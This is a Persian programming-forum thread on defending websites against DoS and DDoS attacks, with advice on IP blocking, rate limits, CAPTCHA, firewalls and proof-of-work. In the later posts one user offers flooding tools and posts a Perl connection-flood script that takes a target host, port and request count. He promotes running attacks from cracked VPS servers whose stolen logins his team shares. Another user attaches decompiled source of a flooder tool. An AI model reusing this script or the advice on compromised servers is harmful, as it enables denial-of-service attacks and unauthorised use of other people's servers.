اومدیم و هکر داده ها رو بصورت هوشمندتر و طوری که بنظر نرمال بیاد ارسال کرد.

البته اگر در سطح PHP صحبت کنیم، IP نمیتونه تقلبی باشه. البته بسته به اینکه منظورت از تقلبی دقیقا چی باشه!

چطوری مثلا؟ حجم POST رو چک میکنی؟ حجم تمام متغییرهای پست شده رو جمع میزنی اگر از یک مقداری بیشتر بود؟ همینطور بنظرم متغییرهای get رو هم باید چک کنی. همینطور آپلود فایل احتمالی.

آره این ایدهء خوبیه که براحتی بلاک کامل و دائمی نشه بصورت خودکار.

پس با وجود سیستم های زامبی ISP ها هم نمیتونن کاری کنند یعنی مثل اینکه تمام مردم یک شهر از سیستم برقی خانه هاشان به شدت استفاده کنند.

Amir9891

چهارشنبه 27 فروردین 1393, 21:41 عصر

سلام

من قبلاً مورد نوازش این حملات قرار گرفتم :D
اولش فایل لوگ رو باز کرده بودم و هر 30 ثانیه رفرش می کردم تا access log و user agent ها رو ببینم. همه حملات با استفاده از یه یوزر ایجنت به خصوص انجام می شد.
منم هر 30 ثانیه آی پی هایی که یوزر ایجینتشون مشابه بود رو بلاک می کردم.
یه یه ساعتی گذشت (حمله رأس ساعت 12 شب که کرون جاب سایت اجرا می شد شروع شده بود) دیدم نه خیر :D این تو بمیری از اون تو بمیری ها نیست! تا یه آی پی بلاک می کردم حمله کننده به صورت هوشمند انگار تشخیص میداد و فوراً از یه ای پی دیگه درخواست ارسال می شد. یه نیم ساعت دیگه هم گذشت دیگه حملات با شدت بالاتر از چند تا آی پی همزمان ارسال می شد و دیدم سرعت سرور داره به سرعت میاد پایین.
منم که خوابم گرفته بود نصفه شبی دیگه حوصله ام نکشید! یه ضرب زدم آی پی کل کشورها به غیر از ایران رو بلاک کردم. :D بعد با خیال آسوده گرفتم چند ساعت خوابیدم و صبح اول وقت دوباره دسترسی ها رو برگردوندم.

خلاصه این که حملات DDOS خر است! راه خاصی هم نداره چون همیشه استراتژی حمله شون یه جور نیست.
بعد از اونم یه بار دیگه حمله شد ولی دیگه از اول همون کار آخر رو کردم. یعنی همه آی پی ها غیر از ایران رو بلاک کردم.

پ.ن: اینم از اولین پست من تو برنامه نویس :D

mahdiyaran

پنج شنبه 28 فروردین 1393, 07:33 صبح

سلام
همه آی پی ها غیر از ایران رو بلاک کردم.

ip غیر ایران رو چطور تشخیص دادی ؟

omidabedi

پنج شنبه 28 فروردین 1393, 12:58 عصر

http://blog.iranhost.com/10795/%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%D8%AD%D9%85%D9%84%D8%A7%D8%AA-dos-%D9%88-ddos-%D9%88-%D8%B1%D8%A7%D9%87-%D9%87%D8%A7%DB%8C-%D9%85%D9%82%D8%A7%D8%A8%D9%84%D9%87-%D8%A8%D8%A7-%D8%A2%D9%86%D9%87%D8%A7/

این اطلاعات برا اماتورها مثل خودم بدرد میخوره

eshpilen

شنبه 30 فروردین 1393, 08:38 صبح

خودم تا اینجا به این نتیجه رسیدم که برای اینکه درمقابل DOS/DDOS آماده باشیم و اگر رخ داد بتونیم یک راه حلی که از همه عمومی تر باشه و به احتمال زیاد بتونه جلوی این حملات رو بگیره یا حداقلش شدتشون رو بقدر کافی کم کنه، باید یک سیستم بلاک IP بذاریم. البته منظورم بلاک دستی هست و نه خودکار.
یعنی خودمون IP حمله کننده رو وارد اینترفیس این سیستم کنیم که بعد تمام درخواستها از اون IP بلاک بشن. ضمنا موقع بلاک کردن باید بتونیم زمان بلاک رو تعیین کنیم که بشه زمانش محدود بشه و سیستم پس از گذشت زمان خاصی اون IP رو بصورت خودکار از بلاک دربیاره. بخاطر اینکه ممکنه بین این IP ها بعضی IP هایی باشه که دیگران هم ازش استفاده میکنن (یا خواهند کرد)؛ ممکنه ما اصلا این رو ندونیم، پس بهتره همینطوری هر IP رو بلاک نامحدود نکنیم از همون بار اول.
باید برای این سیستم بلاک این قابلیت رو هم بذاریم که تعداد زیادی IP رو از طریق فایلی چیزی هم بشه به خوردش داد؛ چون ممکنه تعداد IP های حمله کننده زیاد باشه و نشه براحتی و سرعت کافی اونا رو دستی وارد کرد.
همینطور قابلیت بلاک کردن محدوده ای از IP ها رو هم درش بذاریم.
و همینطور قابلیت اینکه بجای استفاده از لیست سیاه (بلاک کردن یکسری IP های مشخص و آزاد بودن IP های غیر از اونا) از لیست سفید استفاده کنه، یعنی لیست IP های مجاز رو بهش بدیم و هر IP غیر از اونا رو بلاک کنه.

البته نمیدونم شاید این امکانات همینطوریش در بعضی کنترل پنل های هاست ها باشه :متفکر:

سوال بعد اینه که خب ما این سیستم رو حالا چطوری روی سایتها و برنامه هامون سوار کنیم؟ چون نمیشه که هر برنامه ای واسه خودش یه همچین سیستمی پیاده کنه. باید یک سیستم جامع و مستقل از برنامه ها و سایتهای مختلف باشه که بشه هر وقت هر جا که میخوای راحت سوارش کنی بدون اینکه نیاز به دستکاری در برنامه های دیگر باشه.

metal gear solid 4

شنبه 30 فروردین 1393, 10:07 صبح

در رابطه با نرم افزاری که بشه امکاناتی که گفتین رو ارائه بده فکر کنم لینک زیر مناسب باشه.

http://ninjafirewall.com/generic/overview.php

http://ninjafirewall.com/generic/static/screenshots/stats_t.png (http://ninjafirewall.com/generic/static/screenshots/stats.png)
http://ninjafirewall.com/generic/static/screenshots/options_t.png (http://ninjafirewall.com/generic/static/screenshots/options.png)
http://ninjafirewall.com/generic/static/screenshots/rules_t.png (http://ninjafirewall.com/generic/static/screenshots/rules.png)
http://ninjafirewall.com/generic/static/screenshots/logs_t.png (http://ninjafirewall.com/generic/static/screenshots/logs.png)

یادم نیست . یک سال پیش نسخه رایگانشو نصب کردم. نیاز به دستکاری در برنامه هاتون نیست. تمامی درخواست ها قبل از رسیدن به سطح برنامه ی شما از فیلتر این برنامه عبور میکنن. فایل htaccess و یا httpd.conf باید یه تغییراتی بکنه فقط. ( تا جایی که یادمه البته )
متاسفانه این نرم افزار با امکانات کاملش پولیه. اما شاید بشه یه نسخشو قاچاقی هم گیر آورد!!

omidabedi

شنبه 30 فروردین 1393, 11:04 صبح

فکر کنم همونطور که خودتون گفتید در سطح برنامه میشه اینکارو کرد
طبق مطالعاتی که داشتم و همونطور که خودتون گفتید هدف attacker مهمه و همیشه برنامه نیست میتونه ram و cpu یا روتر و لایه های مختلف برنامه باشه و فکر کنم برای جلوگیری در بقیه ی حالات فایروال سخت افزاری بهترین مورد باشه
اما در سطح برنامه سیستم بلاک ای پی مناسب هست اما خب باید خودش بتونه حمله ی DDOS رو از بازدید معمولی یا حتی اسکنر ها و وب کراولرها تشخیص بده و جلوشونو بگیره
چون همیشه که مدیر سایت سایتشو مانیتور نمیکنه یا شاید متوجه نشه اصلا

سایت هایی رو دیدم که در سطح برنامه وقتی بازدید زیاد میشه وقتی صفحه ای رو باز میکنی پیام میده حجم ترافیک خیلی زیاده چند دقیقه دیگه دوباره امتحان کنید
از لحاظ user friendly خب اصلا جالب نیست اما در سطح برنامه میتونه موثر باشه
ولی خب میشه این صفحه رو بصورت تایمر قرار بدیم مثلا بگیم ترافیک زیاده 30 ثانیه صبر کنید اما همونطور که گفتید ممکن هست attacker از همین قابلیت استفاده کنه و مثلا صدها پیج باز کنه که تایمر داشته باشه
بازم مصرف رم میره بالا
همون ای پی ظاهرا بهترین کاره در صورتی که هوشمند باشه و اتوماتیک

viiictor

شنبه 30 فروردین 1393, 11:28 صبح

در صورت تمایلتون من میتونم چند نمونه اسکریپت و برنامه های تحت وب و ویندوز برای انجام حملات Dos و DDos براتون قرار بدم تا بررسی کنید از چه روشی حمله رو انجام میده و روش مقابله باهاش رو پیدا کنید !!

ضمنا اسکریپت ها و برنامه های Anti DDos موجود هست که میتونه توسط وب مستر روی سایت یا مدیریت هاستینگ و روی سرور نصب بشه !

eshpilen

یک شنبه 31 فروردین 1393, 08:36 صبح

DDOS یک بدی رو داره. حمله کننده فقط درخواست میده. تولید درخواست خیلی راحتتر از پاسخ دادن به درخواست هست. مگر اینکه حمله تشخصیص داده بشه و پردازشی انجام نشه.
آره دقیقا.
در بعضی حمله ها میان و بخشها و عملیاتی رو در سایت که هر درخواست در اون باعث پردازش زیادی میشه شناسایی میکنن، بعد درخواستهای حمله روی اون بخش متمرکز میشه.
فرضا یک بخش جستجو که محدودیتی نداره در سایتی هست. خب اینجا هکر مثلا فقط یک درخواست میده اما روی سرور اون درخواست کلی پردازش و عملیات انجام میده که مثلا از توی یک دیتابیس بزرگ رکوردهایی رو با معیاری که درخواست مشخص کرده پیدا کنه. فرضا اگر سرچ ها از کش هم استفاده کنن، بعلت اینکه در حمله از پارامترهای رندوم استفاده میشه، این کش احتمالا به هیچ دردی نمیخوره (و تازه خودش باعث یک پردازش و زمان افزوده میشه).
خب یک راه جلوگیری از این قبیل موارد میتونه گذاشتن محدودیت روی سرچ باشه. مثلا از هر اکانت و/یا IP، تعداد مشخصی درخواست جستجو در یک بازهء زمانی خاص اجازه داده بشه. البته اینم لزوما نمیتونه جلوی این بار پردازشی رو بطور کامل بگیره در تمام موارد، ولی حداقل شدتش رو میتونه کاهش بده و دیگه با تعداد کمی درخواست براحتی کسی نتونه سایت رو بخوابونه.
ولی خب حساب کنید ما در برنامه جاهای دیگری هم ممکنه جستجو یا عملیات دیگری داشته باشیم که کم و بیش سنگین باشن و بتونن در حمله ها مورد سوء استفاده قرار بگیرن. حالا بخوایم دونه دونه این موارد رو شناسایی کنیم و این سیستم رو بهشون اضافه کنیم، خب، شاید یه مقدار اذیت و مشکل داشته باشه. نه؟ اونم برای هر اپلیکیشن و بخش سایت باید این کار تکرار بشه. پس چطوره اصلا یک سیستم کلی تری درست کنیم که در لایه ای بالاتری و قبل از همهء اپلیکیشن ها و بخشهای سایت قرار بگیره. یک سیستم که قابل کانفیگ هم باشه و گزارش و هشدار و اینا هم داشته باشه، بتونی Black list و White list هم بهش بدی، بتونی برای دسته IP های خاص معیارها و محدودیت های متفاوتی بذاری، خلاصه بتونی برای هر سناریو و حتی موارد پیشبینی نشده در آینده اون رو براحتی پیکربندی کنی.

خوبه؟
شما ایدهء دیگری ندارید؟
از طرفی هم آدم میبینه حمله های داس خیلی هم معمول نیستن و ممکنه این همه سیستم بذاری (که خودش پیچیدگی و پردازش و تداخل ها و دردسرهای احتمالی پیشبینی نشده ای رو ممکنه ایجاد کنه) و چند سال بگذره و هیچ حمله ای هم صورت نگیره یا حمله صورت بگیره اما از نوع و شدتی نباشه که این سیستم بتونه دربرابرش بقدر کافی موثر و مفید باشه.
نه؟ :لبخند:
آهان خب میتونیم بذاریم ولی بصورت پیشفرض خاموش باشه بعد هروقت حمله شد روشنش کنیم :بامزه:
ولی اینطوری هم که مزیت خودکار بودنش یخورده از دست میره :لبخند:

eshpilen

یک شنبه 31 فروردین 1393, 08:36 صبح

MMSHFE

یک شنبه 31 فروردین 1393, 11:19 صبح

چند وقت پیش بخاطر یک باگ در vBulletin (پلاگین VBSEO بطور خاص) یکی از سرورهایی که روش کار میکردیم در دبی مورد حمله DDOS قرار گرفت. خیلی جالب بود و یکسری نکات خوب یاد گرفتیم:
1- در حمله DDOS لزوماً هکر به پاسخ Ack نیاز نداره و برای همین، به محض اینکه یک درخواست فرستاد، IP رو عوض میکنه و سرور هم چون Ack قبلی دریافت نشده، دوباره میفرسته و این یک مدل خاص از این نوع حمله است که ترافیک سایت رو به باد میده!
2- دیدم خیلی از دوستان گفتن از CAPTCHA استفاده کنیم. دقت کنید که استفاده از CAPTCHA مهم نیست چون این حمله، Bruteforce نیست و قصد کسی هم اصلاً کشف رمز کاربران سایتتون نیست بلکه هدف، خوابوندن سرور شماست. پس هرچی صفحه سنگین تر باشه و عکس و... گذاشته باشین، خودتون دارین به هکر کمک میکنید تا علاوه بر CPU (برای تولید CAPTCHA و نمایش صفحه و...) ترافیک سایت هم به فنا بره.
3- در اکثر این حملات، با وجود اینکه IP عوض میشه، User Agent ثابته (هرچند میشه اون رو هم جعل کرد ولی اکثراً - نه همه - اینکار رو انجام نمیدن). پس میتونید Agent رو بلاک کنید. اما همینجا هم به یک نکته باید دقت کنید: این کار رو حتی الأمکان با PHP انجام ندین چون بهرحال برای اینکه تشخیص داده بشه که به کلاینت باید جواب بدیم یا توی لیست سیاهه، باید اسکریپت PHP و مفسر PHP اجرا بشن و این خودش باز CPU رو درگیر میکنه. ترجیحاً از فایروال سخت افزاری استفاده کنید (که CPU سیستم رو درگیر نکنه) یا اگه امکانش نبود، یک فایروال خوب (پیشنهاد من CSF) نصب کنید و با کمک اون، عمل بلاک کردن رو مدیریت کنید. ما حتی اسکریپت AntiDDOS رو از هاستینگ خودمون که LiquidWed بود، خریدیم ولی اون هم کم آورد (همزمان با IP های حدود 100 کشور حمله میشد). آخرش هم فایروال سخت افزاری به دادمون رسید چون حتی با وجود CSF، بخاطر گستردگی حمله، 16 تا CPU هشت هسته ای که داشتیم، آمپر 100٪ چسبونده بود.
4- درمورد تفاوتهای DOS و DDOS هم تحقیق کنید. با هم فرق دارن و اکثر این راههایی که دوستان میگن بیشتر برای DOS مناسبه و گویا گستردگی و وسعت DDOS رو هنوز درک نکردن. DDOS رو نمیشه به راحتی مهار کرد. چند وقت پیش کلی از سرورهای اروپا و امریکا مورد این حمله قرار گرفت و از کار افتاد. حتی فیسبوک هم کند شده بود. به گوگل هم حمله کردن ولی این غول فناوری خم به ابرو نیاورد و فقط اعلام کردن که برای اولین بار، بیش از 10 درصد قدرت پردازشی گوگل به کار گرفته شد! تنها راه قطعی مقابله با DDOS داشتن یک سرور قدرتمنده ولی بعنوان قرص مسکن، همونطور که گفتم میشه روی فایروال حساب کرد که بهترین دارو هم نوع سخت افزایشه.

eshpilen

یک شنبه 31 فروردین 1393, 12:34 عصر

دقت کنید که استفاده از CAPTCHA مهم نیست چون این حمله، Bruteforce نیست و قصد کسی هم اصلاً کشف رمز کاربران سایتتون نیست بلکه هدف، خوابوندن سرور شماست. پس هرچی صفحه سنگین تر باشه و عکس و... گذاشته باشین، خودتون دارین به هکر کمک میکنید تا علاوه بر CPU (برای تولید CAPTCHA و نمایش صفحه و...) ترافیک سایت هم به فنا بره.
بله درسته بنده هم اشاره کردم به این موضوع (پردازش خود کپچا).
ولی بازهم در بعضی موارد کپچا احتمالا میتونه برای جلوگیری از DOS/DDOS موثر باشه. بطور مثال یک عملیات خاصی هست در سایت که پردازش سنگینی داره و حمله کننده اون رو شناسایی میکنه و درخواستهای خودش رو به اون بخش میفرسته، یعنی داره از سنگین بودن اون عملیات برای تقویت چند ده برابری و حتی چند صد برابری تاثیر منفی درخواستها روی سرور استفاده میکنه، در اینطور مواقع کپچا میتونه مانع این بشه که درخواستها بتونن بصورت خودکار ارسال بشن و اون عملیات سنگین رو در سرور موجب بشن. البته کپچا رو هم میشه از اول نذاشت و فقط وقتی درخواستها به یک محدودیت تعداد خاص در بازهء زمانی بر اساس اکانت یا آیپی رسید فعال بشه (به این شکل کاربران عادی بطور معمول کپچایی نمیبینن و اذیت نمیشن).
البته اینا همه راههای موردیه که بستگی داره به شرایط برنامه و کاربران و نوع و شدت حمله. ما فقط سعی کردیم تمام روشهای مختلفی رو که ممکنه در جای خودشون مفید یا لازم بشن مطرح کنیم. بدیهی است که نمیشه یک روش کلی و مطلق برای تمام موارد ارائه کرد، بخاطر تنوع شرایط برنامه ها/سرورها/کاربران/کاربردها و نوع حمله ها.
البته بجای روش کپچا میشه از محدودیت تعداد درخواست در بازهء زمان هم استفاده کرد، و میشه همزمان هر دو رو هم با هم ترکیب کرد اگر مفید بود. بهرحال کپچا ممکنه کرک شده باشه یا گاهی با روشهای دیگری که هست دور زده بشه.

حملات داس و دی داس در انواع و شدت تنوع زیادی دارن و این تاپیک هم کلیه نه درمورد یک شکل و شدت خاص (البته فکر میکنم برحسب سطح برنامه نویسی و کار خودمون بیشتر به اون موارد و راهکارهایی که در سطح اپلیکیشن هستن بپردازیم مربوط تر باشه).

MMSHFE

یک شنبه 31 فروردین 1393, 17:49 عصر

صحبتهاتون رو قبول دارم ولی فقط خواستم یادآوری کنم حمله DDOS بزرگتر از اونه که برنامه نویس به تنهایی بخواد فکرش رو درگیرش کنه و با تکنیکهای برنامه نویسی صرفاً میشه DOS رو مهار کرد و درمورد DDOS کاری بر نمیاد و مدیر سرور و مهندسهای شبکه باید همکاری کنن. حتی همینکه لیست IP های ممنوع رو بگذاریم و بخوایم چک کنیم و بعد به کاربر جواب ندیم، باز هم CPU و RAM و HDD و... رو درگیر میکنه و هدف DDOS هم دقیقاً همینه: درگیر شدن منابع سیستم سرور که مهمترینش CPU هست، طوری که دیگه نتونه به بقیه جواب بده و درخواستهای خدمات سایر کلاینتها رو رد کنه (معنای دقیق Denial Of Service). حالا تصور کنید Distributed هم اضافه بشه. مؤثرترین راه جلوگیری از DDOS هم همینه که بار چک کردن و بلاک کردن IPها و Agentهای غیرمجاز رو از روی دوش CPU سیستم برداریم. حتی تصور اینکه چنین کارهایی رو بخوایم با یک زبان تفسیری انجام بدیم هم بیشتر شبیه یک شوخیه! dotNet هم مشکلات خاص خودش مثل کامپایل JIT و... رو داره و درهرحال وظیفه برنامه ها نیست. هر کسی باید سهم خودش رو در اینجور مشکلات انجام بده.

eshpilen

یک شنبه 31 فروردین 1393, 19:17 عصر

آره منم یک هدفم از این تاپیک و مطالب همین بود که بگم قضیه اینطوریه.
چون بعضیا قبلا چیزهایی گفته بودن و روشهایی در سطح PHP مطرح کرده بودن.
یا مثلا اشاره شده بود که عملیات هش پسورد اگر سنگین باشه (که برای یک هش امن لازمه) اونوقت به حملات DOS/DDOS کمک میکنه.
من میگم که این درست نیست که مثلا از یک هش ضعیف استفاده کنیم که مقاومت دربرابر داس بالا بره. یا مثلا از رمزنگاری های حرفه ای استفاده نکنیم، از توابع رندوم قوی و امنیتی استفاده نکنیم، چون همهء اینا سنگین هستن و کلی پردازش مصرف میکنن. یا بیایم بصورت افراطی برنامه رو بهینه سازی کنیم (بهینه سازیهای جزیی - همون وسواس در بهینه سازی که بارها بهش پرداختم).
چرا؟ چون اینطوری باید تمام چیزها و بقیهء مسائل و حملات امنیتی رو بیخیال شیم فقط بخاطر یک نوع حمله، که تازه اونم در عمل میتونه تلاش کم و بیش بیهوده ای بوده باشه. هرچند این حرف هم کم و بیش درسته که ممکنه گاهی از طریق همین بخشهای سنگین سیستم عمدا اقدام به حملهء داس بشه، ولی واقعا این تقصیر و وظیفهء برنامه نویس سطح بالا نیست، بلکه یک مشکل و معضل و ضعف کلی در اینترنت هست و برای قوی ترین سایتها و برنامه ها هم میتونه معضل باشه، حتی باوجودی که در سطح برنامشون تمهیدات گسترده ای در این باب لحاظ کرده باشن. بخاطر همین بنظر من برنامه نویس حتی الامکان باید برنامش رو بدون توجه به این حمله بنویسه، و نهایت از یک سیستم مستقل یا دفاع در لایه های دیگر برای جلوگیری ازش بهره ببره. هرچند ممکنه نیاز باشه در بعضی بخشهای خود برنامه هم کم و بیش دست ببره و تهمیداتی رو برای این مسئله درش لحاظ کنه، ولی فکر کنم اونا رو در مراحل نهایی یا بعدا هرموقع که احساس اولویت و نیاز جدی شد بشه درست کرد. خب بهرحال این بیماری صعب العلاج هست و اشکال و انواع و شدت های خیلی متنوعی داره و نمیشه دربارهء اینکه باید و نباید چکار کرد نظر قاطع و کلی داد؛ بنابراین فضا رو باز میذاریم برای ایده ها و روشها در همه سطحی، چون ممکنه هرکدام در عمل در موردی بتونن مفید یا نیاز باشن.
من خودم حالم گرفته میشه که بخوام مدام با توجه به این حمله برنامه بنویسم، چون هم کارم زیاد و پیچیده میشه و هم محدودیت ایجاد میکنه. همینطوریش نوشتن برنامه حرفه ای و امنیت اصولی از جنبه های دیگه سخت هست. بعد فرق بین این حمله با حمله های دیگه اینه که در این مورد هر الگوریتم و پردازشی خودش میتونه اثر معکوس داشته باشه، درحالیکه در حمله های دیگر ما محدودیت جدی در استفاده از منابع پردازشی و سخت افزاری و زمان نداریم و دستمون بازه که مثلا یک هش رو 10 هزار بار تکرار کنیم یا از رمزنگاری های مدرن و مستحکم مثل AES و RSA استفاده کنیم و غیره. حالا بیان بگن باید داس رو هم موقع برنامه نویسی لحاظ کنی، اونوقت آدم دستش در استفاده از این ابزارهای عالی سست میشه و دچار تردید میشه که بالاخره چکار کنه مثلا از یک هش ضعیف تر یا رمزنگاری غیراصولی استفاده کنه یا نه.
بخاطر همین مسائل بنظر بنده هم بهتره حملهء داس رو در یک سطح و/یا لایهء جداگانه از برنامه نویسی سایت و اپلیکیشن ها درنظر گرفته و مدیریت کنیم؛ اما خب شرایط در عمل اینقدر مطلق و ایدئال نیست لزوما و ممکنه درنظر گرفتن تمهیداتی در سطح برنامه هم در مواردی مفید یا لازم بشه.
البته داس بهرحال یک حمله ای هست که در اون بطور معمول نفوذ یا خسارت/سرقت دیتا رخ نمیده، و از این لحاظ میشه درجهء وخامتش رو کمتر از خیلی حمله های دیگر دانست. ولی باز اینم زیاد نمیشه اعتبار کرد و بستگی به مورد و اهمیتش داره و برای بعضی سایتها میتونه خیلی مهمتر باشه.

بعضیا میگن دیگه برنامه نباید اینقدر هم سنگین باشه که یه نفر با چندتا کوئری/درخواست بتونه بخوابونتش!
اینطوری یه جوجه هم میتونه با یه اینترنت و PC معمولی سایت رو شده بطور موقت و تا وقتی شناسایی و بلاک بشه بخوابونه.
من فکر میکنم خب آدم الکی که چیزی رو سنگین نمیکنه. یا مجبوره و لازمه و یا بخاطر سرعت و سادگی برنامه نویسی روی بهینه سازی دقیقش کار نکرده که بالاخره اینم یک فاکتور و مزیته واسه خودش. یوقت هم شاید سرور ضعیفه خب!! نباید انتظار داشت هر برنامه و کاربردی و هر ترافیکی با سرورهای ضعیف و اشتراکی بدون مشکل کار کنه.

eshpilen

دوشنبه 01 اردیبهشت 1393, 11:12 صبح

DDOS یک بدی رو داره. حمله کننده فقط درخواست میده. تولید درخواست خیلی راحتتر از پاسخ دادن به درخواست هست.
اتفاقا یه مبحث خاصی که میخواستم مطرح کنم و قبلا در فروم برنامه نویس بهش اشاره کرده بودم ربط به این قضیه داره.
یه مفهومی هست بنام Proof-of-work system (http://en.wikipedia.org/wiki/Proof-of-work_system) (به اختصار POW) که یک کاربردش در مقابله با اسپم هست و کاربرد دیگرش هم در مقابله با همین حملات داس.
در این سیستم کلاینت رو با الگوریتم های رمزنگاری و روشهای خاصی که هست وادار میکنیم تا به ازای هر درخواست مقدار مشخصی پردازش انجام بده (خیلی بیش از حد عادی و بدون سیستم POW) و/یا زمان صرف کنه.
اینطوری کار برای اسپمرها و حمله های داس خیلی دشوارتر میشه و میشه انتظار داشت که در خیلی موارد عملا جلوی حمله یا اسپم رو بگیره بخاطر اینکه برای طرف دیگه صرف نمیکنه و کند و هزینه بر میشه یا عملا غیرممکن در اون مقیاسی که میخواد که ممکنه منابع سخت افزاریش رو هم نداشته باشه.
مقدار پردازش/زمان صرف شده قابل تنظیم توسط سرور است.
البته این سیستمها در داس به این شکل کار میکنن که موقعی که تشخیص داده میشه که سرور Overload شده فعال میشن. طبیعتا اینطوری بهتره یا لازمه، چون پردازش و زمان اضافی در مواقع عادی به همهء کلاینت ها تحمیل نمیشه (از نظر مصرف انرژی و آلودگی محیط زیست هم اینطوری بهتره).

بهرحال این سیستمها یک مقدار پیچیده هستن و باید توسط متخصص و درست طراحی و پیاده سازی بشن. بعضی مدلهاش هم هست که نیاز به همکاری چندتا سرور داره. بعد اینکه افراد غیرمتخصص در این زمینه ها، ممکنه به شکل اشتباهی از این سیستمها استفاده بکنن که از نظر عمومی مشکلات ایجاد کنه یا شاید حتی بعضیا بخوان به شکلی ازش سوء استفاده کنن، بخاطر همین تاحالا مطرح نکرده بودم :چشمک:

ضمنا این سیستمهای POW فکر میکنم از نظر عملی هم که شده تاحدی جدید هستن برای این کاربردها و بطور گسترده و طولانی مدتی هم تست نشدن و بنابراین کاملا روشن و مطمئن نیست که در عمل تا چه حد میتونن مفید باشن و چه مزایا و معایبی خواهند داشت، و بعضی افراد هم کارایی اونا رو زیر سوال میدونن.

viiictor

دوشنبه 01 اردیبهشت 1393, 13:46 عصر

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

viiictor

دوشنبه 01 اردیبهشت 1393, 13:50 عصر

اینم یه اسکریپت به زبان perl :

};
if(!defined($ARGV[2])){
print "Dos Target : ";
$host = <STDIN>;
chop ($host);
print "Port : ";
$port = <STDIN>;
chop ($port);
print "SYN Requests to send : ";
$num = <STDIN>;
chop ($num);
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dosed?.\n";
syswrite STDOUT, "
SYN Request: $i\n";
}

print "\n\nEnd Of Sina Scarlet\n\n\n";
print "Press Enter To Exit...";
$end = <STDIN>;
chop ($end);

omidabedi

دوشنبه 01 اردیبهشت 1393, 14:50 عصر

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

اسکریپتی که بخواد با حمله ی یک یوزر با کامپیوتر خانگی بخوابه خیلی مسخرست و مسخره تر از اون سرورش هست!

روششونم اکثرا پینگ میکنن مثلا 1000 بار پینگ میکنن به سرور

یا ی صفحه رو درخواست میکنن

تحت ویندوزهارو میگما

eshpilen

دوشنبه 01 اردیبهشت 1393, 19:43 عصر

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

اوه اوه اینا که همش exe است!
کی جرات میکنه این برنامه های ناشناس رو اجرا کنه :لبخند:

eshpilen

چهارشنبه 03 اردیبهشت 1393, 12:51 عصر

سورس بذار عزیز برادر.
والا من یکی که این برنامه ها رو اجرا نمیکنم چون میترسم جاسوس و هک یا خرابکاری باشن.

engmmrj

چهارشنبه 03 اردیبهشت 1393, 18:16 عصر

آقای eshpilen (http://barnamenevis.org/member.php?148005-eshpilen) چطوری میشه DOS زد به یک سرور ؟:لبخند:
میشه چندتا منبع بدید ؟

under22

چهارشنبه 03 اردیبهشت 1393, 22:08 عصر

نکنه میخای با سیستم خودت dos بزنی :قهقهه:

viiictor

پنج شنبه 04 اردیبهشت 1393, 00:03 صبح

اسکریپتی که بخواد با حمله ی یک یوزر با کامپیوتر خانگی بخوابه خیلی مسخرست و مسخره تر از اون سرورش هست!

روششونم اکثرا پینگ میکنن مثلا 1000 بار پینگ میکنن به سرور

یا ی صفحه رو درخواست میکنن

تحت ویندوزهارو میگما

از کامپیوتر خونگی با این سرعت نت و ... که نمیشه عزیز من !

این ها رو باید روی سرور مجازی با سرعت بالا اجرا کرد و بسته به سرعت سرور سایز پاکت ها و فاصله زمانی رو تعیین کنیم!

viiictor

پنج شنبه 04 اردیبهشت 1393, 00:08 صبح

اوه اوه اینا که همش exe است!
کی جرات میکنه این برنامه های ناشناس رو اجرا کنه :لبخند:

البته که برای اطمینان بیشتر روی سرور مجازی (سرور های کرک شده که واسه خودتون نیست) اجرا کنید !! اینا رو که من و شما ننوشتیم که راحت اطمینان کنیم !

سورس بذار عزیز برادر.
والا من یکی که این برنامه ها رو اجرا نمیکنم چون میترسم جاسوس و هک یا خرابکاری باشن.

سورس هم به روی چشم در اولین فرصت قرار میدم به زبان های مختلف
انتی ویروس بعضی هاش رو شناسایی میکنه اما خیالت راحت که کی لاگر و ... نیست ! با اکثرش حمله ddos انجام دادم

آقای eshpilen (http://barnamenevis.org/member.php?148005-eshpilen) چطوری میشه DOS زد به یک سرور ؟:لبخند:
میشه چندتا منبع بدید ؟

اسون ترین راهش استفاده از همین برنامه های آماده است برای کسی که آشنایی به برنامه نویسی و مفهوم حملات داس و دیداس نداره !

viiictor

پنج شنبه 04 اردیبهشت 1393, 00:19 صبح

ضمنا دوستان من توی سایتم برای همین استفاده ها سرور مجازی کرک شده (خودم و تیم کرک مون کرک میکنیم) تست شده میزارم

در صورتی که میخواین ایدی وی پی اس کرک کنین یا برنامه هایی که نمیخواین روی سیستم اجرا کنید یا دانلود و آپلود سنگین داشتین میتونین از اینها استفاده کنین !

سرعت اینترنت بالاس برای همین میتونین برای صفحات بازدید خودکار مثل پی سی رنک و ... هم از اینا استفاده کنید :

Vps های کرک شده رایگان + آپدیت (http://forum.iranian-group.ir/thread484.html)
فقط باید عضو باشید تا یوزر پس وی پی اس ها رو ببینید ! (اینم فقط به این دلیل هست که افراد ناشی و بی جنبه که روی سرور ها دسکتاپ لاکر میزارن یا پسورد عوض میکنن رو شناسایی کنیم)

eshpilen

جمعه 05 اردیبهشت 1393, 16:07 عصر

یعنی اینا سرورهای ملته که پسوردش لو رفته؟
اونوقت خودشون کجان چرا متوجه نشدن جلوش رو نمیگیرن؟

DOT DARK

جمعه 05 اردیبهشت 1393, 20:26 عصر

چرا متوجه نشن؟!
بعد از یه مدتی متوجه میشن و یوزر و پسوورد رو میبندن
این وی پی اسا برا مدت کوتاه خوبه

برنامه ی Night Tool که یکی از دوستان گذاشت رو Decompile کردم.پاک پاکه مشکلی نداره میتونید استفاده کنید.سورسشو هم Attach کردم.البته بعضی جا هاش شاید مشکل داشته باشه چون سورس Decompile شدست نه اصلی!
در ضمن تحت .net freamwork نوشته شده

کد نویسیش خیلی سادست
چندتا قسمت داره
HTTP Flooder
TCP Flooder
UDP Flooder
Slow Loris
Open Port Checker

